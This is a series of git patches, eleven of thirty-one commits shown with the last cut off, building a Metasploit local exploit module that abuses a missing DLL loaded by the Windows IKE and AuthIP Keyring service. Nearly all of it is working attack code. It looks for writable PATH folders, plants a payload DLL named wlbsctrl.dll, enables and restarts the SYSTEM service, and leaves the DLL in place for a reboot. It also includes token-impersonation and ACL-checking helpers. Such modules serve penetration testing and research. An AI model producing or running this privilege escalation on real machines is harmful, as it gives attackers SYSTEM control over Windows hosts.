From 344f32d6ba3b2b0c8d454449a06e29511fa8efe7 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sat, 20 Oct 2012 00:23:41 +0100 Subject: [PATCH 01/31] Initial commit - non working :( --- .../windows/local/ipsec_keyring_service.rb | 217 ++++++++++++++++++ 1 file changed, 217 insertions(+) create mode 100644 modules/exploits/windows/local/ipsec_keyring_service.rb diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb new file mode 100644 index 0000000000..dd5242a556 --- /dev/null +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -0,0 +1,217 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/windows/services' + +class Metasploit3 < Msf::Exploit::Local + Rank = 'Normal' + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + include Post::Windows::WindowsServices + + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring + Modules' service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 9 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ', + ], + 'Platform' => [ 'win'], + 'Targets' => [ ['Windows', {}] ], + 'SessionTypes' => [ "shell", "meterpreter" ], + 'DefaultTarget' => 0, + )) + + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end + + def check + service_info = service_info('IKEEXT') + + if service_info.nil? + return Exploit::CheckCode::Safe + else + if service_info['Startup'] == 'Disabled' + print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + end + + def check_search_path + dll = 'wlbsctrl.dll' + + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" + if file_exist?(dll_path) + print_error("DLL already exists at #{dll_path}...") + return true + end + end + + return false + end + + def check_system_path + print_status("Checking SYSTEM PATH folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + paths = result.split(';') + paths.append(@load_lib_search_path).uniq! + + paths.each do |p| + path = expand_path(p) + if exist?(path) + filename = "#{path}\\#{Rex::Text.rand_text_alpha(10)}" + vprint_status("Creating file #{filename}") + begin + if write_file(filename, "") and file_exist?(filename) # This will not work against UAC + print_good("Write permissions in #{path}") + begin + file_rm(filename) + vprint_status("Deleted file #{filename}") + return path + rescue ::Exception => e + print_error("Error deleting #{filename} : #{e}") # Warn users if cleanup fails + end + end + rescue ::Exception => e + vprint_status("Unable to create #{filename} : #{e}") + end + else + # User may be able to create the path! + # exist? appears to have some false positives + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end + + return nil + end + + # Todo, for all @non_existant_dirs can we create those + # paths ourselves? + def check_dirs + return nil + end + + def cleanup(file_path) + begin + file_rm(file_path) + vprint_status("Deleted file #{file_path}") + rescue ::Exception => e + print_error("Error deleting #{file_path} : #{e}") # Warn users if cleanup fails + end + end + + def exploit + service_name = 'IKEEXT' + print_status("Checking service exists...") + service_info = service_info(service_name) + + if service_info.nil? + print_error("No service found, aborting...") + return + end + + # DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + return + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + print_error("Unable to write to any folders in the PATH, aborting...") + return + end + + dll_path = "#{file_path}\\wlbsctrl.dll" + + if service_info['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(service_name, 'auto') + service_info = service_info(service_name) + + # Still disabled + if service_info['Startup'] == 'Disabled' + print_error("Unable to enable service, aborting...") + return + end + end + + dll = generate_payload_dll + + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{dll_path}...") + begin + write_file(dll_path, dll) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + print_error(e.message) + return + end + + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{service_name}...") + + begin + status = service_start(service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(service_name) == 0 + print_status("Service started...") + else + print_error("Unable to start service.") + end + end + elsif status == 0 + print_status("Service started...") + end + rescue ::Exception => e + if service_info['Startup'] == 'Manual' + print_error("Unable to start service, and it does not auto start, cleaning up...") + cleanup(dll_path) + else + print_status("Unable to start service, wait for a reboot...") + end + end + end + +end From cae0aa9c313b46ec903b4ff6eae5970fd5802b68 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 5 Nov 2012 23:55:49 +0000 Subject: [PATCH 02/31] Check architecture, fix cleanup etc --- .../windows/local/ipsec_keyring_service.rb | 73 ++++++++++++++----- 1 file changed, 54 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index dd5242a556..4bdbdd2efc 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -10,7 +10,7 @@ require 'msf/core/post/common' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Exploit::Local - Rank = 'Normal' + Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::Common @@ -38,7 +38,12 @@ class Metasploit3 < Msf::Exploit::Local ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], - 'SessionTypes' => [ "shell", "meterpreter" ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => '5' + }, 'DefaultTarget' => 0, )) @@ -51,8 +56,14 @@ class Metasploit3 < Msf::Exploit::Local def check service_info = service_info('IKEEXT') - + if service_info.nil? + print_error("Unable to enumerate services.") + return + end + + if service_info && service_info['Name'].empty? + print_error("Service does not exist.") return Exploit::CheckCode::Safe else if service_info['Startup'] == 'Disabled' @@ -123,30 +134,50 @@ class Metasploit3 < Msf::Exploit::Local def check_dirs return nil end - - def cleanup(file_path) - begin - file_rm(file_path) - vprint_status("Deleted file #{file_path}") - rescue ::Exception => e - print_error("Error deleting #{file_path} : #{e}") # Warn users if cleanup fails + + # TODO Move to Exploit::Local? + def session_arch + if sysinfo["Architecture"] =~ /x64/i + return ARCH_X64 + elsif sysinfo["Architecture"] =~ /x86/i + return ARCH_X86 + else + print_status("#{sysinfo["Architecture"]}") + return nil end end + def cleanup + if @write_success && @dll_file_path + begin + file_rm(@dll_file_path) + vprint_status("Deleted file #{@dll_file_path}") + rescue ::Exception => e + print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails + end + end + + super + end + def exploit service_name = 'IKEEXT' print_status("Checking service exists...") service_info = service_info(service_name) if service_info.nil? - print_error("No service found, aborting...") + print_error("Unable to enumerate services.") return end + + if service_info && service_info['Name'].empty? + print_error("Service does not exist.") + end # DLL already exists in system folders, we dont want to overwrite by accident - if check_search_path - return - end + #if check_search_path + # return + #end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs @@ -156,7 +187,7 @@ class Metasploit3 < Msf::Exploit::Local return end - dll_path = "#{file_path}\\wlbsctrl.dll" + @dll_file_path = "#{file_path}\\wlbsctrl.dll" if service_info['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") @@ -170,17 +201,20 @@ class Metasploit3 < Msf::Exploit::Local end end - dll = generate_payload_dll + # Check architecture + dll = generate_payload_dll({:arch => session_arch}) # # Drop the malicious executable into the path # - print_status("Writing #{dll.length.to_s} bytes to #{dll_path}...") + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin - write_file(dll_path, dll) + write_file(@dll_file_path, dll) + @write_success = true rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on print_error(e.message) + @write_success = false return end @@ -200,6 +234,8 @@ class Metasploit3 < Msf::Exploit::Local else print_error("Unable to start service.") end + else + print_error("Unable to stop service.") end elsif status == 0 print_status("Service started...") @@ -207,7 +243,6 @@ class Metasploit3 < Msf::Exploit::Local rescue ::Exception => e if service_info['Startup'] == 'Manual' print_error("Unable to start service, and it does not auto start, cleaning up...") - cleanup(dll_path) else print_status("Unable to start service, wait for a reboot...") end From f60aa562b756ff73af858eb4edbd40b3692876c7 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 14:39:41 +0000 Subject: [PATCH 03/31] Working x86 --- .../windows/local/ipsec_keyring_service.rb | 124 ++++++++++++------ 1 file changed, 83 insertions(+), 41 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 4bdbdd2efc..a605d80a27 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File - include Post::Windows::WindowsServices + include Msf::Post::Windows::Priv + include Msf::Post::Windows::WindowsServices def initialize(info={}) super( update_info( info, @@ -46,25 +46,40 @@ class Metasploit3 < Msf::Exploit::Local }, 'DefaultTarget' => 0, )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) @load_lib_search_path = [ '%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] + @service_name = 'IKEEXT' + end + + def check_service_exists?(service) + service_info = service_info(service) + + if service_info.nil? + print_error("Unable to enumerate services.") + return false + end + + if service_info && service_info['Name'].empty? + print_error("Service #{service} does not exist.") + return false + else + return true + end end def check service_info = service_info('IKEEXT') - if service_info.nil? - print_error("Unable to enumerate services.") - return - end - - if service_info && service_info['Name'].empty? - print_error("Service does not exist.") - return Exploit::CheckCode::Safe + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe else if service_info['Startup'] == 'Disabled' print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") @@ -84,6 +99,8 @@ class Metasploit3 < Msf::Exploit::Local @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" + + # This seems to return false even when file exists? if file_exist?(dll_path) print_error("DLL already exists at #{dll_path}...") return true @@ -97,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Checking SYSTEM PATH folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') paths = result.split(';') - paths.append(@load_lib_search_path).uniq! + paths.append(@load_lib_search_path).flatten!.uniq! paths.each do |p| path = expand_path(p) @@ -119,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Local vprint_status("Unable to create #{filename} : #{e}") end else - # User may be able to create the path! + # User may be able to create the path... # exist? appears to have some false positives print_status("Path #{path} does not exist...") @non_existant_dirs << path @@ -132,6 +149,16 @@ class Metasploit3 < Msf::Exploit::Local # Todo, for all @non_existant_dirs can we create those # paths ourselves? def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + return dir + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end + return nil end @@ -161,41 +188,56 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - service_name = 'IKEEXT' + if is_system? + print_error("Current user is already SYSTEM, aborting.") + return + end + print_status("Checking service exists...") - service_info = service_info(service_name) - - if service_info.nil? - print_error("Unable to enumerate services.") + if !check_service_exists?(@service_name) return end - if service_info && service_info['Name'].empty? - print_error("Service does not exist.") - end - - # DLL already exists in system folders, we dont want to overwrite by accident - #if check_search_path - # return - #end - - file_path = check_system_path - file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs - - if file_path.nil? - print_error("Unable to write to any folders in the PATH, aborting...") + if session_arch == 'ARCH_X64' + print_error("Exploit currently does not work with x64.") return end + + if is_uac_enabled? && datastore['DIR'].empty? + print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") + print_status(registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')) + return + end + + if datastore['DIR'].empty? + # DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + return + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + print_error("Unable to write to any folders in the PATH, aborting...") + return + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end @dll_file_path = "#{file_path}\\wlbsctrl.dll" + + service_information = service_info(@service_name) - if service_info['Startup'] == 'Disabled' + if service_information['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") - service_change_startup(service_name, 'auto') - service_info = service_info(service_name) + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) # Still disabled - if service_info['Startup'] == 'Disabled' + if service_information['Startup'] == 'Disabled' print_error("Unable to enable service, aborting...") return end @@ -221,15 +263,15 @@ class Metasploit3 < Msf::Exploit::Local # # Run the service, let the Windows API do the rest # - print_status("Launching service #{service_name}...") + print_status("Launching service #{@service_name}...") begin - status = service_start(service_name) + status = service_start(@service_name) if status == 1 print_status("Service already running, attempting to restart...") - if service_stop(service_name) == 0 + if service_stop(@service_name) == 0 print_status("Service stopped, attempting to start...") - if service_start(service_name) == 0 + if service_start(@service_name) == 0 print_status("Service started...") else print_error("Unable to start service.") @@ -241,10 +283,10 @@ class Metasploit3 < Msf::Exploit::Local print_status("Service started...") end rescue ::Exception => e - if service_info['Startup'] == 'Manual' + if service_information['Startup'] == 'Manual' print_error("Unable to start service, and it does not auto start, cleaning up...") else - print_status("Unable to start service, wait for a reboot...") + print_status("Unable to start service, manually create handler and wait for a reboot...") end end end From 933515dae239a9de7ea6ac298209f76a26952295 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 14:42:49 +0000 Subject: [PATCH 04/31] Msftidy --- .../windows/local/ipsec_keyring_service.rb | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index a605d80a27..df9b628206 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Local }, 'DefaultTarget' => 0, )) - + register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) @@ -58,15 +58,15 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs = [] @service_name = 'IKEEXT' end - + def check_service_exists?(service) service_info = service_info(service) - + if service_info.nil? print_error("Unable to enumerate services.") return false end - + if service_info && service_info['Name'].empty? print_error("Service #{service} does not exist.") return false @@ -77,9 +77,9 @@ class Metasploit3 < Msf::Exploit::Local def check service_info = service_info('IKEEXT') - + if !check_service_exists?(@service_name) - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe else if service_info['Startup'] == 'Disabled' print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Local @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" - + # This seems to return false even when file exists? if file_exist?(dll_path) print_error("DLL already exists at #{dll_path}...") @@ -156,12 +156,12 @@ class Metasploit3 < Msf::Exploit::Local return dir rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") - end + end end - + return nil end - + # TODO Move to Exploit::Local? def session_arch if sysinfo["Architecture"] =~ /x64/i @@ -183,32 +183,32 @@ class Metasploit3 < Msf::Exploit::Local print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails end end - + super end def exploit - if is_system? - print_error("Current user is already SYSTEM, aborting.") - return + if is_system? + print_error("Current user is already SYSTEM, aborting.") + return end - + print_status("Checking service exists...") if !check_service_exists?(@service_name) return end - + if session_arch == 'ARCH_X64' print_error("Exploit currently does not work with x64.") return end - - if is_uac_enabled? && datastore['DIR'].empty? - print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") + + if is_uac_enabled? && datastore['DIR'].empty? + print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") print_status(registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')) - return + return end - + if datastore['DIR'].empty? # DLL already exists in system folders, we dont want to overwrite by accident if check_search_path @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Local end @dll_file_path = "#{file_path}\\wlbsctrl.dll" - + service_information = service_info(@service_name) if service_information['Startup'] == 'Disabled' From ca95973b8f3db905f438822b6182715f57f9ca68 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 14:56:26 +0000 Subject: [PATCH 05/31] Null check --- modules/exploits/windows/local/ipsec_keyring_service.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index df9b628206..fc611b6d8d 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -113,6 +113,12 @@ class Metasploit3 < Msf::Exploit::Local def check_system_path print_status("Checking SYSTEM PATH folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + + if result.nil? + print_error("Unable to retrieve SYSTEM PATH from registry.") + return + end + paths = result.split(';') paths.append(@load_lib_search_path).flatten!.uniq! From 142cef61823e3d70457c763da3ad25092b56a555 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 15:11:00 +0000 Subject: [PATCH 06/31] Dont cleanup dll when reboot is required. --- .../windows/local/ipsec_keyring_service.rb | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index fc611b6d8d..e55894575d 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -181,12 +181,14 @@ class Metasploit3 < Msf::Exploit::Local end def cleanup - if @write_success && @dll_file_path - begin - file_rm(@dll_file_path) - vprint_status("Deleted file #{@dll_file_path}") - rescue ::Exception => e - print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails + unless @reboot + if @write_success && @dll_file_path + begin + file_rm(@dll_file_path) + vprint_status("Deleted file #{@dll_file_path}") + rescue ::Exception => e + print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails + end end end @@ -194,6 +196,8 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + @reboot = false + if is_system? print_error("Current user is already SYSTEM, aborting.") return @@ -292,6 +296,7 @@ class Metasploit3 < Msf::Exploit::Local if service_information['Startup'] == 'Manual' print_error("Unable to start service, and it does not auto start, cleaning up...") else + @reboot = true print_status("Unable to start service, manually create handler and wait for a reboot...") end end From ac6048837bc130f286e4a663392a9498ec3f3867 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 15:12:18 +0000 Subject: [PATCH 07/31] msftidy --- modules/exploits/windows/local/ipsec_keyring_service.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index e55894575d..440307e983 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local def exploit @reboot = false - + if is_system? print_error("Current user is already SYSTEM, aborting.") return From 063661c32045a522d52a72c92228573d1348fea2 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 19:33:32 +0000 Subject: [PATCH 08/31] Address some initial feedback thanks bperry --- .../exploits/windows/local/ipsec_keyring_service.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 440307e983..672a7158c6 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ', + 'Ben Campbell ' ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], @@ -44,19 +44,19 @@ class Metasploit3 < Msf::Exploit::Local 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, - 'DefaultTarget' => 0, + 'DefaultTarget' => 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) - + @service_name = 'IKEEXT' @load_lib_search_path = [ '%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] - @service_name = 'IKEEXT' + end def check_service_exists?(service) @@ -152,8 +152,6 @@ class Metasploit3 < Msf::Exploit::Local return nil end - # Todo, for all @non_existant_dirs can we create those - # paths ourselves? def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| @@ -208,7 +206,7 @@ class Metasploit3 < Msf::Exploit::Local return end - if session_arch == 'ARCH_X64' + if session_arch == ARCH_X64 print_error("Exploit currently does not work with x64.") return end From 522a80875e9d43b29574828469944c58951a8436 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 13 Dec 2012 22:16:39 +0000 Subject: [PATCH 09/31] Borrowed enum_dirperms checking. --- .../windows/local/ipsec_keyring_service.rb | 104 +++++++++++++----- 1 file changed, 76 insertions(+), 28 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 672a7158c6..c36e29c884 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv.rb' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -52,9 +53,9 @@ class Metasploit3 < Msf::Exploit::Local ]) @service_name = 'IKEEXT' @load_lib_search_path = [ '%SystemRoot%\\System32', - '%SystemRoot%\\System', - '%SystemRoot%' - ] + '%SystemRoot%\\System', + '%SystemRoot%' + ] @non_existant_dirs = [] end @@ -100,7 +101,6 @@ class Metasploit3 < Msf::Exploit::Local @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" - # This seems to return false even when file exists? if file_exist?(dll_path) print_error("DLL already exists at #{dll_path}...") return true @@ -125,25 +125,11 @@ class Metasploit3 < Msf::Exploit::Local paths.each do |p| path = expand_path(p) if exist?(path) - filename = "#{path}\\#{Rex::Text.rand_text_alpha(10)}" - vprint_status("Creating file #{filename}") - begin - if write_file(filename, "") and file_exist?(filename) # This will not work against UAC - print_good("Write permissions in #{path}") - begin - file_rm(filename) - vprint_status("Deleted file #{filename}") - return path - rescue ::Exception => e - print_error("Error deleting #{filename} : #{e}") # Warn users if cleanup fails - end - end - rescue ::Exception => e - vprint_status("Unable to create #{filename} : #{e}") + if check_write_access(path) + return path end else # User may be able to create the path... - # exist? appears to have some false positives print_status("Path #{path} does not exist...") @non_existant_dirs << path end @@ -152,12 +138,28 @@ class Metasploit3 < Msf::Exploit::Local return nil end + def check_write_access(path) + perm = check_dir(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) - return dir + if exist?(path) + return dir + end rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end @@ -166,7 +168,6 @@ class Metasploit3 < Msf::Exploit::Local return nil end - # TODO Move to Exploit::Local? def session_arch if sysinfo["Architecture"] =~ /x64/i return ARCH_X64 @@ -194,6 +195,7 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + @token = get_imperstoken() @reboot = false if is_system? @@ -208,18 +210,17 @@ class Metasploit3 < Msf::Exploit::Local if session_arch == ARCH_X64 print_error("Exploit currently does not work with x64.") - return + #return end - if is_uac_enabled? && datastore['DIR'].empty? - print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") - print_status(registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')) - return + if is_uac_enabled? + print_error("UAC is enabled results, may get false negatives on writeable folders.") end if datastore['DIR'].empty? - # DLL already exists in system folders, we dont want to overwrite by accident + # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path + print_error("DLL already exists in system folders.") return end @@ -300,4 +301,51 @@ class Metasploit3 < Msf::Exploit::Local end end + # Below copied from enum_dirperms + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + #get impersonation token handle it["DuplicateTokenhandle"] carries this value + #p = kern.GetCurrentProcess() #get handle to current process + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return 0 + end + end + + def check_dir(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, 20, 20, 4) + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + sd = f["pSecurityDescriptor"] + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end end + From 0963b5ee8484b785057cdab1397a2aa3fc535d10 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 13 Dec 2012 23:00:26 +0000 Subject: [PATCH 10/31] Use custom exist? --- .../exploits/windows/local/ipsec_keyring_service.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index c36e29c884..9e01543f04 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -59,6 +59,17 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs = [] end + + # Current exist? gives false negative when folder does exist. + def exist?(path) + begin + session.fs.dir.entries(path) + return true + rescue + end + + return false + end def check_service_exists?(service) service_info = service_info(service) From 90dd90a30454c64f04a215e8033aaa10013ca96d Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 30 Dec 2012 14:32:17 +0000 Subject: [PATCH 11/31] Add Startup Manual to Check method --- .../windows/local/ipsec_keyring_service.rb | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 672a7158c6..3b331c3554 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -15,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Priv - include Msf::Post::Windows::WindowsServices + include Msf::Post::Windows::Services def initialize(info={}) super( update_info( info, @@ -81,9 +82,17 @@ class 